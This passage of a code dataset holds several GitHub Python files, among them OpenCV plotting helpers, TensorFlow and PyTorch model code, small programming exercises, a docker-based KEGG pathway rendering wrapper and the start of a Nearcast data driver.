+{"seq_id":"10032928362","text":"import cv2\nimport numpy as np\n\ndef boxLine(frame,dir,fix,start,end,color,thickness=1,**rect_args):\n\tside1 = (thickness-1)//2\n\tside2 = thickness-1-side1\n\tif dir=='horiz':\n\t\tcv2.rectangle(frame,(start,fix-side1),(end,fix+side2),color,-1,**rect_args)\n\telif dir=='vert':\n\t\tcv2.rectangle(frame,(fix-side1,start),(fix+side2,end),color,-1,**rect_args)\n\nCV_WHITE = (255,)*3\nCV_LIGHT_GRAY = (64,)*3\n\nclass _CVGraphSeries:\n\tdef __init__(self,time,data,color,thickness,**style):\n\t\tself.time = time;\n\t\tself.data = data;\n\t\tself.style = style;\n\t\tself.style['thickness'] = thickness;\n\t\tself.style['color'] = color;\n\n\tdef plot(self,frame,graph,startt,length):\n\t\tpixelEnd = min(graph.width,int(length*graph.tscale)+1)\n\t\tlastrow = None\n\t\tfor col in range(pixelEnd):\n\t\t\tt = col/graph.tscale + startt\n\t\t\tif col == pixelEnd:\n\t\t\t\tdaty = self.data[np.searchsorted(self.time,t,'right')] # Use latest value (less jumpy for long timescales)\n\t\t\telse:\n\t\t\t\tdaty = np.interp(t,self.time,self.data)\n\t\t\trow = int((graph.ymax-daty)*graph.yscale)\n\n\t\t\tif col > 0: # Need at least 2 points to start drawing line\n\t\t\t\tcv2.line(frame,\n\t\t\t\t\t(graph.origin[0]+col-1,graph.origin[1]+lastrow),\n\t\t\t\t\t(graph.origin[0]+col,graph.origin[1]+row),\n\t\t\t\t\tlineType=cv2.LINE_AA,**self.style)\n\n\t\t\tlastrow = row\n\n\n\nclass CVGraph:\n\tdef __init__(self,bounds,duration,ygrid,axisStyle={'color':CV_WHITE,'thickness':3},gridStyle={'color':CV_LIGHT_GRAY,'thickness':1},textColor=CV_WHITE):\n\t\tself.width = bounds[2]\n\t\tself.height = bounds[3]\n\t\tself.origin = (bounds[0],bounds[1])\n\t\tself.tscale = self.width/duration # ms to px\n\n\t\tself.textColor = textColor\n\t\tself.gridStyle = gridStyle\n\t\tself.axisStyle = axisStyle\n\n\t\tygrid.sort()\n\t\tself.ygrid = ygrid\n\t\tself.ymin = min(ygrid[0],0)\n\t\tself.ymax = max(ygrid[-1],0)\n\t\tself.yscale = self.height/(self.ymax-self.ymin) # units to px\n\n\t\tself.series = []\n\n\tdef addSeries(self,time,data,color,thickness=2,**style):\n\t\tself.series.append(_CVGraphSeries(time,data,color,thickness,**style))\n\n\tdef drawStatic(self,staticbuffer,offX,offY):\n\t\tfor gridline in self.ygrid:\n\t\t\tpixelH = int((self.ymax-gridline)*self.yscale);\n\t\t\tcv2.putText(staticbuffer,str(gridline),(offX-25,offY+pixelH+5),cv2.FONT_HERSHEY_SIMPLEX,0.33,self.textColor,1,cv2.LINE_AA)\n\t\t\tcv2.line(staticbuffer,(offX,offY+pixelH),(offX+self.width,offY+pixelH),**self.gridStyle)\n\n\t\tboxLine(staticbuffer,'vert',offX,offY,offY+self.height,**self.axisStyle)\n\t\tboxLine(staticbuffer,'horiz',offY+int(self.ymax*self.yscale),offX,offX+self.width,**self.axisStyle)\n\n\tdef drawData(self,frame,startt,endt):\n\t\tfor series in self.series:\n\t\t\tseries.plot(frame,self,startt,endt)\n\n","repo_name":"rensselaer-rocket-society/TelemetryUnit","sub_path":"Post Processing/Processing/CVDrawingUtils.py","file_name":"CVDrawingUtils.py","file_ext":"py","file_size_in_byte":2597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"42784792025","text":"a=float(input(\"qual a velocidade do seu carro? :\"))\nif a>80:\n    y=(a-80)*5\t\n    print(\"você foi multado em R${0:.2f}\".format(y))\nelse:\n\tprint(\"Não foi multado\")\n    \n\n    \n\n    ","repo_name":"gabriellaec/desoft-analise-exercicios","sub_path":"backup/user_167/ch28_2019_03_15_13_28_33_280373.py","file_name":"ch28_2019_03_15_13_28_33_280373.py","file_ext":"py","file_size_in_byte":180,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"14535342675","text":"import os.path\nimport sys\nfrom setuptools import setup\nfrom setuptools import find_packages\n\nfrom ec2mc import __version__\nfrom ec2mc import __min_python__\n\nCURRENT_PYTHON = sys.version_info[:3]\nif CURRENT_PYTHON < __min_python__:\n    sys.stderr.write(\"\"\"\n==========================\nUnsupported Python version\n==========================\n\nThis version of ec2mc requires Python {}.{}.{}. You're using Python {}.{}.{}.\nInstall the required Python version and ensure it is in your PATH.\n\"\"\".format(*(__min_python__ + CURRENT_PYTHON)))\n    sys.exit(1)\n\nREPO_URL = \"https://github.com/TakingItCasual/ec2mc\"\n\nREADME_PATH = os.path.join(os.path.dirname(__file__), \"README.rst\")\nwith open(README_PATH, encoding=\"utf-8\") as f:\n    LONG_DESC = f.read()\n\nsetup(\n    name=\"ec2mc\",\n    version=__version__,\n    description=\"AWS EC2 instance manager for Minecraft servers\",\n    long_description=LONG_DESC,\n    author=\"TakingItCasual\",\n    author_email=\"takingitcasual+gh@gmail.com\",\n    url=REPO_URL,\n    download_url=\"{}/archive/v{}.tar.gz\".format(REPO_URL, __version__),\n    license=\"MIT\",\n    classifiers=[\n        \"Development Status :: 3 - Alpha\",\n        \"Environment :: Console\",\n        \"Intended Audience :: System Administrators\",\n        \"License :: OSI Approved :: MIT License\",\n        \"Natural Language :: English\",\n        \"Operating System :: MacOS :: MacOS X\",\n        \"Operating System :: Microsoft :: Windows\",\n        \"Operating System :: POSIX :: Linux\",\n        \"Programming Language :: Python\",\n        \"Programming Language :: Python :: {}\".format(__min_python__[0]),\n        \"Programming Language :: Python :: {}.{}\".format(*__min_python__[:2])\n    ],\n    keywords=\"mc minecraft ssh server aws ec2 iam cloud-config\",\n    packages=find_packages(exclude=[\"docs\", \"tests\"]),\n    python_requires=\">={}.{}.{},<{}\".format(\n        *__min_python__, __min_python__[0] + 1),\n    entry_points={'console_scripts': [\"ec2mc=ec2mc.__main__:main\"]},\n    include_package_data=True,\n    install_requires=[\n        \"boto3 ~= 1.9\",\n        \"nbtlib ~= 1.2\",\n        \"deepdiff ~= 3.3\",\n        \"cryptography ~= 2.3\",\n        \"ruamel.yaml ~= 0.15.0\",\n        \"jsonschema ~= 2.6\"\n    ]\n)\n","repo_name":"TakingItCasual/ec2mc","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"32951117827","text":"# -*- coding: utf-8 -*-\nimport os\nfrom glob import glob\nimport time\nimport tensorflow as tf\nimport numpy as np\n\nimport matplotlib\nmatplotlib.use('TkAgg')\nfrom matplotlib import pyplot as plt\n\nfrom ops import *\nfrom datasets import *\n\n\nclass DesNet(object):\n    def __init__(self, sess, flags):\n        self.sess = sess\n        self.batch_size = flags.batch_size\n\n        self.num_epochs = flags.epoch\n\n        self.data_path = os.path.join('./Image', flags.dataset_name)\n        self.output_dir = flags.output_dir\n\n        self.log_dir = os.path.join(self.output_dir, 'log')\n        self.sample_dir = os.path.join(self.output_dir, 'sample')\n        self.model_dir = os.path.join(self.output_dir, 'checkpoints')\n\n        self.original_images = tf.placeholder(tf.float32, shape=[None, flags.image_size, flags.image_size, 3])\n        self.synthesized_images = tf.placeholder(tf.float32, shape=[None, flags.image_size, flags.image_size, 3])\n\n        self.d_dim = 64\n\n        if tf.gfile.Exists(self.log_dir):\n            tf.gfile.DeleteRecursively(self.log_dir)\n        tf.gfile.MakeDirs(self.log_dir)\n        if not os.path.exists(self.model_dir):\n            os.makedirs(self.model_dir)\n        if not os.path.exists(self.sample_dir):\n            os.makedirs(self.sample_dir)\n\n        self.build_model(flags)\n\n    def descriptor(self, inputs, is_training=True, reuse=False):\n        ####################################################\n        # Define network structure for descriptor.\n        # Recommended structure:\n        # conv1: channel 64 kernel 4*4 stride 2\n        # conv2: channel 128 kernel 2*2 stride 1\n        # fc: channel output 1\n        # conv1 - bn - relu - conv2 - bn - relu -fc\n        ####################################################\n        with tf.variable_scope(\"des\", reuse=reuse):\n            d_conv1_bn = leaky_relu(batch_norm(conv2d(inputs,self.d_dim,kernal=(4,4), name='d_conv1_bn'), train=is_training, name='d_bn_1'))\n            d_conv2_bn = leaky_relu(batch_norm(conv2d(d_conv1_bn, self.d_dim * 2, kernal=(2,2),strides=(1,1),name='d_conv2_bn'), train=is_training, name='d_bn_2'))\n            d_conv2_bn = tf.reshape(d_conv2_bn, [-1,32*32*128])\n\n            d_fc1 = linear(d_conv2_bn, 1, 'd_linear')\n            # d_fc1 =  tf.nn.sigmoid(d_fc1)\n            print(d_fc1)\n            # d_fc1 = tf.cast(d_fc1,tf.bool)\n\n            return d_fc1\n\n\n    def Langevin_sampling(self, samples, flags):\n        ####################################################\n        # Define Langevin dynamics sampling operation.\n        # To define multiple sampling steps, you may use\n        # tf.while_loop to define a loop on computation graph.\n        # The return should be the updated samples.\n        ####################################################\n        def cond(i, samples):\n            return tf.less(i, flags.T)\n\n        def body(i, samples):\n            noise = tf.random_normal(shape=tf.shape(samples), name='noise')\n            # syn_res = self.descriptor(samples, to_sz, is_training=True, reuse=True)\n            syn_res = self.descriptor(samples, reuse=True)\n            grad = tf.gradients(syn_res, samples, name='grad_des')[0]\n            samples = samples - 0.5 * flags.delta * flags.delta * (samples / (flags.ref_sig * flags.ref_sig) - grad)\n            samples = samples + flags.delta * noise\n            return tf.add(i, 1), samples\n\n        i = tf.constant(0)\n        i, samples = tf.while_loop(cond, body, [i, samples])\n\n        return samples\n\n    def build_model(self, flags):\n        ####################################################\n        # Define the learning process. Record the loss.\n        ####################################################\n        # self.original_images = tf.placeholder(tf.float32, shape=[None, flags.image_size, flags.image_size, 3])\n        # self.synthesized_images = tf.placeholder(tf.float32, shape=[None, flags.image_size, flags.image_size, 3])\n        self.m_original = self.descriptor(self.original_images)\n        self.m_synthesized = self.descriptor(self.synthesized_images, reuse=True)\n        self.train_loss = tf.subtract(tf.reduce_mean(\n                self.m_synthesized), tf.reduce_mean(self.m_original))\n\n        t_vars = tf.trainable_variables()\n        self.d_vars = [var for var in t_vars if 'des' in var.name]\n\n        self.train_op = tf.train.AdamOptimizer(flags.learning_rate, beta1=flags.beta1).minimize(self.train_loss, var_list=self.d_vars)\n        self.sampling_op = self.Langevin_sampling(self.synthesized_images, flags)\n\n    def train(self, flags):\n        # Prepare training data, scale is [0, 255]\n        train_data = DataSet(self.data_path, image_size=flags.image_size)\n        train_data = train_data.to_range(0, 255)\n\n        self.saver = tf.train.Saver(max_to_keep=50)\n        self.sess.run(tf.global_variables_initializer())\n        self.sess.run(tf.local_variables_initializer())\n\n        num_batches = int(math.ceil(len(train_data) / self.batch_size))\n        # loss = tf.reduce_sum(tf.reshape(self.train_loss, (-1, 64 * 64 * 3)))\n        model_name = \"DesNet.model\"\n        tf.summary.scalar('Loss', self.train_loss)\n\n        summary_op = tf.summary.merge_all()\n        self.writer = tf.summary.FileWriter(self.log_dir, self.sess.graph)\n\n        self.sess.graph.finalize()\n\n        could_load, checkpoint_counter = self.load(self.model_dir)\n        if could_load:\n            counter = checkpoint_counter\n            print(\" [*] Load SUCCESS\")\n        else:\n            print(\" [!] Load failed...\")\n\n        print(\" Start training ...\")\n        loss_des = []\n        ####################################################\n        # Train the model here. Print the loss term at each\n        # epoch to monitor the training process. You may use\n        # save_images() in ./datasets.py to save images. At\n        # each log_step, record model in self.model_dir,\n        # synthesized images in self.sample_dir,\n        # loss in self.log_dir (using writer).\n        ####################################################\n        counter = 1\n\n        sample_z = np.random.normal(0, 1, size=(7, 7))\n        sample_inputs = train_data[0:1, :]\n\n        # batch_images = train_data[idx * self.batch_size:(idx + 1) * self.batch_size, :]\n        # batch_z = np.random.normal(0, 1, (self.batch_size, 7))\n\n\n\n\n\n        for epoch in range(self.num_epochs):\n            print(epoch)\n\n            train_data_up = np.zeros((7, 64, 64, 3))\n            train_data_up[:, :, :, 0] = np.mean(train_data[:, :, :, 0], axis=(1, 2), keepdims=True)\n            train_data_up[:, :, :, 1] = np.mean(train_data[:, :, :, 1], axis=(1, 2), keepdims=True)\n            train_data_up[:, :, :, 2] = np.mean(train_data[:, :, :, 2], axis=(1, 2), keepdims=True)\n            print('zout', train_data_up.shape)\n            for idx in range(0, num_batches):\n                z_out = self.sess.run(\n                    [self.sampling_op],\n                    feed_dict={\n                        self.synthesized_images: train_data_up\n                    })[0]  # Update the H\n\n                _, d_Loss, summary_loss = self.sess.run(\n                    [self.train_op, self.train_loss, summary_op],\n                    feed_dict={\n                        self.original_images: train_data,\n                        self.synthesized_images: z_out\n                    })  # Update the H\n                # print(d_Loss)\n                loss_des.append(d_Loss)\n\n                if np.mod(counter, 30) == 1:\n                    samples = self.sess.run(\n                        self.sampling_op,\n                        feed_dict={\n                            self.synthesized_images: train_data_up\n                        }\n                    )\n                    print(samples.shape)\n\n                    self.writer.add_summary(summary_loss, counter)\n                    self.saver.save(self.sess, os.path.join(self.model_dir, model_name), global_step=counter)\n\n                    save_images(samples,\n                                '{}/train_{:02d}_{:04d}.png'.format(self.sample_dir, epoch, idx))\n                    # print(\"[Sample] g_loss: %.8f\" % (g_Loss))\n                    #######################################################\n                #                   end of your code\n                #######################################################\n                counter += 1\n        # self.interpo_z()\n        self.plot_loss(loss_des)\n\n    def plot_loss(self, loss):\n        plt.figure()\n        plt.plot(loss)\n        plt.xlabel('epoch')\n        plt.ylabel('loss')\n        plt.title('Training loss over epochs')\n        plt.show()\n\n    def interpo_z(self):\n        interpo_z = []\n        for i in range(0, 10):\n            for j in range(0, 10):\n                z_tmp = [i * 0.4 - 2, j * 0.4 - 2]\n                interpo_z.append(z_tmp)\n        interpo_z = np.array(interpo_z)\n        generate_img = self.sess.run(self.sampling_op, feed_dict={self.synthesized_images: interpo_z})\n        save_images(generate_img, self.sample_dir + '/generate' + '.png', space=0, mean_img=None)\n\n    def load(self, checkpoint_dir):\n        import re\n        print(\" [*] Reading checkpoints...\")\n        checkpoint_dir = os.path.join(checkpoint_dir, self.model_dir)\n\n        ckpt = tf.train.get_checkpoint_state(checkpoint_dir)\n        if ckpt and ckpt.model_checkpoint_path:\n            ckpt_name = os.path.basename(ckpt.model_checkpoint_path)\n            self.saver.restore(self.sess, os.path.join(checkpoint_dir, ckpt_name))\n            counter = int(next(re.finditer(\"(\\d+)(?!.*\\d)\", ckpt_name)).group(0))\n            print(\" [*] Success to read {}\".format(ckpt_name))\n            return True, counter\n        else:\n            print(\" [*] Failed to find a checkpoint\")\n            return False, 0\n\n\n\n","repo_name":"Andreachen0707/stats_hw5","sub_path":"project5part/DesNet/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":9778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"11925415913","text":"from random import random\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass Encoder(nn.Module):\n    def __init__(self, input_dim, emb_dim, enc_hid_dim, dec_hid_dim, dropout):\n        \"\"\"\n        :param emb_dim: Embedding dimension of input (x_t)\n        :param enc_hid_dim: hidden layer dimension of Encoder\n        :param dec_hid_dim: hidden layer dimension of Decoder\n        :param dropout:\n        \"\"\"\n        super().__init__()\n        self.embedding = nn.Embedding(input_dim, emb_dim)\n        self.rnn = nn.GRU(emb_dim, enc_hid_dim, bidirectional=True)\n        self.fc = nn.Linear(enc_hid_dim * 2, dec_hid_dim)\n        self.dropout = nn.Dropout(dropout)\n    \n    def forward(self, x):\n        \"\"\"\n        x = [seq_len, batch_size]\n        \"\"\"\n        x = x.transpose(0, 1)  # x = [batch_size, seq_len]\n        embedded = self.dropout(self.embedding(x)).transpose(0, 1)  # embedded = [seq_len, batch_size, emb_dim]\n        \n        # enc_output = [seq_len, batch_size, hid_dim * num_directions]\n        # enc_hidden = [n_layers * num_directions, batch_size, hid_dim]\n        enc_output, enc_hidden = self.rnn(embedded)  # if h_0 is not give, it will be set 0 acquiescently\n        \n        # enc_hidden is stacked [forward_1, backward_1, forward_2, backward_2, ...]\n        # enc_output are always from the last layer\n        \n        # enc_hidden [-2, :, : ] is the last of the forwards RNN\n        # enc_hidden [-1, :, : ] is the last of the backwards RNN\n        \n        # initial decoder hidden is final hidden state of the forwards and backwards\n        # encoder RNNs fed through a linear layer\n        # s = [batch_size, dec_hid_dim]\n        s = torch.tanh(self.fc(torch.cat((enc_hidden[-2, :, :], enc_hidden[-1, :, :]), dim=1)))\n        \n        return enc_output, s\n\n\nclass Attention(nn.Module):\n    def __init__(self, enc_hid_dim, dec_hid_dim):\n        super().__init__()\n        self.attn = nn.Linear((enc_hid_dim * 2) + dec_hid_dim, dec_hid_dim, bias=False)\n        self.v = nn.Linear(dec_hid_dim, 1, bias=False)\n    \n    def forward(self, s, enc_output):\n        # s = [batch_size, dec_hid_dim], 为 Decoder 的初始隐藏层状态，即论文中的 s_0\n        # enc_output = [seq_len, batch_size, enc_hid_dim * 2]\n        \n        batch_size = enc_output.shape[1]\n        seq_len = enc_output.shape[0]\n        \n        # repeat s seq_len times, 将 s 叠加 seq_len 次, 以便与所有 Encoder 隐藏层状态计算分数 (e_{ij})\n        # s = [batch_size, seq_len, dec_hid_dim]\n        # enc_output = [batch_size, seq_len, enc_hid_dim * 2]\n        s = s.unsqueeze(1).repeat(1, seq_len, 1)\n        enc_output = enc_output.transpose(0, 1)\n        \n        # energy = [batch_size, seq_len, dec_hid_dim], 还不是 e_{ij} 构成的矩阵, 还要通过全连接层\n        energy = torch.tanh(self.attn(torch.cat((s, enc_output), dim=2)))\n        \n        # attention = [batch_size, seq_len]\n        attention = self.v(energy).squeeze(2)  # 此时就是 e_{ij} 构成的矩阵\n        \n        return F.softmax(attention, dim=1)\n\n\nclass Decoder(nn.Module):\n    def __init__(self, output_dim, emb_dim, enc_hid_dim, dec_hid_dim, dropout, attention):\n        super().__init__()\n        self.output_dim = output_dim\n        self.attention = attention\n        self.embedding = nn.Embedding(output_dim, emb_dim)\n        self.rnn = nn.GRU((enc_hid_dim * 2) + emb_dim, dec_hid_dim)\n        self.fc_out = nn.Linear((enc_hid_dim * 2) + dec_hid_dim + emb_dim, output_dim)\n        self.dropout = nn.Dropout(dropout)\n    \n    def forward(self, dec_input, s, enc_output):\n        # dec_input = [batch_size]\n        # s = [batch_size, dec_hid_dim]\n        # enc_output = [src_len, batch_size, enc_hid_dim * 2]\n        \n        dec_input = dec_input.unsqueeze(1)  # dec_input = [batch_size, 1]\n        \n        embedded = self.dropout(self.embedding(dec_input)).transpose(0, 1)  # embedded = [1, batch_size, emb_dim]\n        \n        # a = [batch_size, 1, src_len]\n        a = self.attention(s, enc_output).unsqueeze(1)\n        \n        # enc_output = [batch_size, src_len, enc_hid_dim * 2]\n        enc_output = enc_output.transpose(0, 1)\n        \n        # c = [1, batch_size, enc_hid_dim * 2]\n        c = torch.bmm(a, enc_output).transpose(0, 1)\n        \n        # rnn_input = [1, batch_size, (enc_hid_dim * 2) + emb_dim]\n        rnn_input = torch.cat((embedded, c), dim=2)\n        \n        # dec_output = [1, batch_size, dec_hid_dim]\n        # dec_hidden = [n_layers * num_directions, batch_size, dec_hid_dim]\n        dec_output, dec_hidden = self.rnn(rnn_input, s.unsqueeze(0))\n        \n        # embedded = [batch_size, emb_dim]\n        # dec_output = [batch_size, dec_hid_dim]\n        # c = [batch_size, enc_hid_dim * 2]\n        embedded = embedded.squeeze(0)\n        dec_output = dec_output.squeeze(0)\n        c = c.squeeze(0)\n        \n        # pred = [batch_size, output_dim]\n        pred = self.fc_out(torch.cat((dec_output, c, embedded), dim=1))\n        \n        return pred, dec_hidden.squeeze(0)\n\n\nclass Seq2Seq(nn.Module):\n    def __init__(self, encoder, decoder, device):\n        super().__init__()\n        self.encoder = encoder # Encoder()\n        self.decoder = decoder # Decoder()\n        self.device = device\n    \n    def forward(self, x, y, teacher_forcing_ratio=0.5):\n        \"\"\"\n        :param x: [seq_len, batch_size]\n        :param y: [trg_len, batch_size]\n        :param teacher_forcing_ratio: probability to use teacher forcing\n        :return:\n        \"\"\"\n        batch_size = x.shape[1]\n        trg_len = y.shape[0]\n        trg_vocab_size = self.decoder.output_dim\n        \n        # tensor to store decoder outputs\n        outputs = torch.zeros(trg_len, batch_size, trg_vocab_size).to(self.device)\n        \n        # enc_output is all hidden states of the input sequence, back and forwards\n        # s is the final forward and backward hidden states, passed through a linear layer\n        enc_output, s = self.encoder(x)\n        \n        # first input to the decoder is the <sos> tokens\n        dec_input = y[0, :]\n        \n        for t in range(1, trg_len):\n            # insert dec_input token embedding, previous hidden state and all encoder hidden states\n            # receive output tensor (predictions) and new hidden state\n            dec_output, s = self.decoder(dec_input, s, enc_output) # 逐步解码得到输出\n            \n            # place predictions in a tensor holding predictions for each token\n            outputs[t] = dec_output\n            \n            # decide if we are going to use teacher forcing or not\n            teacher_force = random() < teacher_forcing_ratio\n            \n            # get the highest predicted token from our predictions\n            top1 = dec_output.argmax(1)\n            \n            # if teacher forcing, use actual next token as next input\n            # if not, use predicted token\n            dec_input = y[t] if teacher_force else top1\n        \n        return outputs\n\n","repo_name":"HJHGJGHHG/NLPPapers","sub_path":"PLM/Basic Models & Pre-training tasks/Neural Machine Translation by Jointly Learning to Align and Translate/code/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":6988,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"}
+{"seq_id":"40153883168","text":"# exercicio 1019\n# a entrada contem um valor inteiro N que são os segundos\n# a saida mostra o tempo em horas:minutos:segundos\n\ndef conversor():\n    sec = int(input())\n    seg = 60\n    hr = sec // (seg**2)\n    sec = sec % (seg**2)\n\n    min = sec // seg\n    sec = sec % seg\n\n    print(f'{hr}:{min}:{sec}')\n\n\nconversor()\n","repo_name":"IsraelHamdan/PYTHON-FACULDADE-py1","sub_path":"beecrowd_exercicios/nivel2/conversor_de_tempo.py","file_name":"conversor_de_tempo.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"8715748256","text":"#!/usr/bin/python3\n\nimport json \nimport os\nimport sys\n\nfrom pathlib import Path\nimport random\nimport hashlib\n\ntry:\n    import pandas as pd\nexcept:\n    # do nothing\n    print(\"enrich_df parameter should be a file path.\")\n\ndef render(enrich_df, \n           outputdir = \"./\", \n           map_id = \"KEGG\",\n           pathway_links = \"pathway_links\",\n           image = \"dotnet:gcmodeller_20230401\",\n           kegg_maps = \"/opt/biodeep/kegg/KEGG_maps.pack\",\n           run_debug = False):\n    \"\"\"\n    Do KEGG pathway map rendering locally\n    ----\n    enrich_df: a pandas dataframe object that should contains at least these data fields:\n        1. KEGG: the kegg pathway map id\n        2. pathway_links: the kegg pathway map url for do kegg map image rendering\n\n        or else this parameter value could be a file path to the target kegg enrichment \n        result table file.\n\n    image: the gcmodeller docker image id\n    outputdir: the directory path for output the kegg pathway map rendering result\n    pathway_links: the data field name for get the kegg pathway map link url, default is 'pathway_links'\n    map_id: the data field name for get the kegg pathway map id, default is 'KEGG'\n    \"\"\"\n\n    enrich_file = \"df_{}\".format(random.randint(1000000, 10000000))\n    enrich_file = \"/tmp/{}.csv\".format(enrich_file)\n\n    if type(enrich_df) == str:\n        enrich_file = enrich_df\n    else:\n        enrich_df.to_csv(enrich_file)\n\n    outputdir = os.path.abspath(outputdir)\n    enrich_file = os.path.abspath(enrich_file)\n    args = {\n        \"map_id\": map_id,\n        \"pathway_links\": pathway_links,\n        \"outputdir\": outputdir,\n        \"enrich\": enrich_file,\n        \"kegg_maps\": kegg_maps\n    }\n\n    # setup the r_lambda environment variables\n    setup_renvironment(args, outputdir)\n\n    RSCRIPT_HOST   = \"/usr/local/bin/Rscript.dll\"    \n    RSCRIPT_LAMBDA = \"--lambda GCModeller::KEGG_MapRender --SetDllDirectory /usr/local/bin/\"\n\n    # run docker pipeline shell command\n    exit_code = run_docker(\n        image_id = image, \n        app = RSCRIPT_HOST, \n        arguments = RSCRIPT_LAMBDA, \n        argv = args, \n        run_debug = run_debug\n    )\n\n    return exit_code\n\ndef setup_renvironment(argv, outputdir):\n\n    print(\"*************** setup the R-dotnet runtime environment variables *****************\")\n    print(\"\")\n    print(\"view of your input parameters:\")\n    print(argv)\n\n    # Serializing json and setup Rscript envrionment variables \n    # at current workspace\n    argv_str = json.dumps(argv, indent = 2)\n    pwd = os.path.abspath(outputdir)\n    r_env = os.path.join(pwd, \".r_env\")\n\n    if not os.path.exists(r_env): \n        os.makedirs(r_env)\n\n    jsonfile = open(\"{}/.r_env/run.json\".format(pwd), 'w')\n    jsonfile.write(argv_str)\n    jsonfile.close()\n\ndef docker_shell(image_id, app, arguments, argv):\n    docker = os.popen('which docker').read().strip()\n    workspace = argv[\"outputdir\"]\n\n    run_pipeline = []\n    run_pipeline.append(\"docker run -it --rm -e WINEDEBUG=-all\")\n    run_pipeline.append(\"-v /var/run/docker.sock:/run/docker.sock\")\n    run_pipeline.append(\"-v \\\"{0}:/bin/docker\\\"\".format(docker))\n    run_pipeline.append(\"-v \\\"{0}:{0}\\\"\".format(argv[\"enrich\"]))\n    run_pipeline.append(\"-v \\\"{0}:{0}\\\"\".format(workspace))\n    run_pipeline.append(\"-v \\\"/tmp:/tmp\\\"\")\n    run_pipeline.append(\"-w \\\"{0}\\\"\".format(workspace))\n    run_pipeline.append(\"--privileged=true\")\n    run_pipeline.append(image_id)\n    run_pipeline.append(\"dotnet\")\n    run_pipeline.append(app)\n    \n    return ' '.join(run_pipeline + arguments)\n\ndef run_docker(image_id, app, arguments, argv, run_debug = False):\n    shell = 0\n    shell_command = docker_shell(image_id, app, [arguments], argv)\n    \n    print(\"\")\n    print(\"Run shell commandline:\")\n    print(shell_command)\n    print(\"\")\n\n    if not run_debug:\n        shell = os.system(shell_command)\n    else:\n        print(\"skip of run docker shell command!\")\n\n    print(\"run docker pipeline job done!\")\n    print(\"exit={0}\".format(shell))\n    print(\"\")\n\n    return shell\n\n\nif __name__ == \"__main__\":\n\n    render(\"./associate_mt.xls\", \n           outputdir = \"./test_map/\", \n           map_id = \"KEGG\",\n           pathway_links = \"pathway_links\",\n           image = \"dotnet:gcmodeller_20230401\",\n           kegg_maps = \"/opt/biodeep/kegg/KEGG_maps.pack\",\n           run_debug = False)","repo_name":"SMRUCC/GCModeller","sub_path":"src/workbench/pkg/python/KEGGrender.py","file_name":"KEGGrender.py","file_ext":"py","file_size_in_byte":4346,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"21"}
+{"seq_id":"42574646532","text":"# Hardware Test\r\n# Blink and LED (GP15) slowly/quickly while a button (GP16) is not-pressed/pressed\r\nfrom machine import Pin\r\nfrom time import sleep_ms\r\n\r\nled = Pin(2, Pin.OUT) #2 is the pin in which the LED is connected and 12 is the standard pin in which button A is connected in Pico Explorer\r\nbutton = Pin(12, Pin.IN, Pin.PULL_UP)\r\n\r\nwhile True:\r\n    if button.value() == 0: # button pressed\r\n        delay = 100 # short delay\r\n    else:\r\n        delay = 1000 # long delay\r\n    \r\n    led.toggle()\r\n    sleep_ms(delay)\r\n","repo_name":"Siddesh-16/Pico-W-Project-","sub_path":"codetotesttestthehardware.py","file_name":"codetotesttestthehardware.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"72287038453","text":"# coding: utf-8\n\nn = int(input())\n\ncedulas = [100.0, 50.0, 20.0, 10.0, 5.0, 2.0, 1.0]\n\ndef cResto(cedula, n):\n    qC = 0\n    if n / cedula >= 1:\n        qC = n//cedula\n        n -= qC*cedula\n    return qC, n\n\nprint(n)\n\nfor x in cedulas:\n    q, n = cResto(x, n)\n    print('{:.0f} nota(s) de R$ {:.0f},00'.format(q, x))\n","repo_name":"ErickSimoes/URI-Online-Judge","sub_path":"1018-cedulas.py","file_name":"1018-cedulas.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"21601370120","text":"\"\"\"\nNearcast driver\n\"\"\"\nimport json\nfrom enum import Enum\nimport datetime as dt\nimport numpy as np\nimport os\nimport re\nfrom functools import lru_cache\nfrom forest_lite.server.util import get_file_names\nfrom forest_lite.server.drivers.base import BaseDriver\nfrom forest_lite.server.drivers.types import Description, Points, PointsAttrs\nfrom pydantic import BaseModel\nimport pygrib as pg\nimport pytz\n\n\n# Universal time coordinate\nUTC = pytz.timezone(\"utc\")\n\n\n# Nearcast dataset dimension keywords\nDIMENSION = Enum(\n    value=\"Dimension\",\n    names=[\n        (\"start_time\", 1),\n        (\"time\", 2),\n        (\"level\", 3)\n    ]\n)\n\n\nclass NearcastFile(BaseModel):\n    path: str\n    timestamp: dt.datetime\n\n\ndef nearcast_file(path):\n    return NearcastFile(path=path, timestamp=parse_date(path))\n\n\ndef find_nearest(paths, date: dt.datetime):\n    \"\"\"Find path nearest to time from timestamp in file name\"\"\"\n    distances = [distance(parse_date(path), date) for path in paths]\n    idx = np.argmin(distances)\n    return nearcast_file(paths[idx])\n\n\ndef distance(t0, t1):\n    return abs((t0 - t1).total_seconds())\n\n\nclass Settings(BaseModel):\n    pattern: str\n\n\nclass Query(BaseModel):\n    start_time: dt.datetime\n\n\nclass TileQuery(BaseModel):\n    start_time: dt.datetime = None\n    time: dt.datetime\n    level: int = None\n\n\ndriver = BaseDriver()\n\n\n# TODO: Add file name date information into a dimension\ndef parse_date(path):\n    \"\"\"Parse datetime from file name\"\"\"\n    groups = re.search(\"[0-9]{8}_[0-9]{4}\", os.path.basename(path))\n    if groups is not None:\n      